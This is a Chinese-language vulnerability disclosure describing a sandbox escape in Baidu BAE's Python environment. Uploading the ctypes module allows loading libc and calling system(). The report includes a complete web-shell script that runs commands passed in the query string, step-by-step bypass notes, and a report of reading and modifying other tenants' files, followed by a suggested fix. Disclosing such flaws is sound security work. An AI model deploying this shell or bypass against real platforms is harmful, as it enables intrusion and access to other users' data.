百度BAE环境对重要函数的限制方法不当,可突破执行系统命令,能读写服务器上存在的众多其它用户的程序文件。 问题存在于BAE的python环境中,对模块和函数的限制不当,比如上传ctypes模块(环境默认不存在此模块)可加载so扩展执行系统命令。先上shell(当然要有
问题存在于BAE的python环境中,对模块和函数的限制不当,比如上传ctypes模块(环境默认不存在此模块)可加载so扩展执行系统命令。先上shell(当然要有一个BAE的python应用,index.py):
#-*- coding:utf-8 -*-
import os
import ctypes #在自己本地的python2.7环境里找到的ctypes文件夹
def app(environ, start_response):
status = '200 OK'
headers = [('Content-type', 'text/html')]
start_response(status, headers)
cmd=environ['QUERY_STRING']
cmd=cmd.replace('%20',' ').replace('%3E','>').replace('%3C','<').replace('%27',"'").replace('%22','"')
l=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')
l.system(cmd+" > /home/bae/instanceall/instance1/codefs/0.***.duapp.com/111.txt") #***是应用名
content=''
for line in open("/home/bae/instanceall/instance1/codefs/0.***.duapp.com/111.txt"):
content=content+line+"\n"
return content
from bae.core.wsgi import WSGIApplication
application = WSGIApplication(app)当然,这是最后的分析结果,历程如下:
1.dir查看os,subprocess等模块,能执行命令的方法都被阉割了,import commands模块直接就是No module named commands。
2.上传自己本地的commands.py,能够import,不过执行系统命令不成功,是基于os模块的。虽然不成功,但打开了思路,只要上传相应的文件就能使用缺失的模块了。
3.执行so扩展会怎么样呐?ctypes模块不存在,果断上传自己本地的ctypes文件夹,成功import并能cdll。编译了一个so扩展上传,执行无结果并中断了程序,目测可能是编译环境和BAE的不一样。
4.BAE服务器上的so扩展怎么样呐?加载/lib64/libc.so.6,执行system成功,于是便有了上面的shell。
5.ls /home/bae/instanceall/instance1/codefs可看到其它用户的应用列表。尝试读取文件内容无压力,修改也无压力(测试修改了自己另外一php应用的文件,成功)。






修复方案:
禁用加载so扩展,不知是否可以采用更底层的限制方式?python的很多模块都是用python语言自身写的,从python层面限制module或函数等很容易通过上传相关文件的方式突破,望分享解决方案。
禁用加载so扩展,不知是否可以采用更底层的限制方式?python的很多模块都是用python语言自身写的,从python层面限制module或函数等很容易通过上传相关文件的方式突破,望分享解决方案。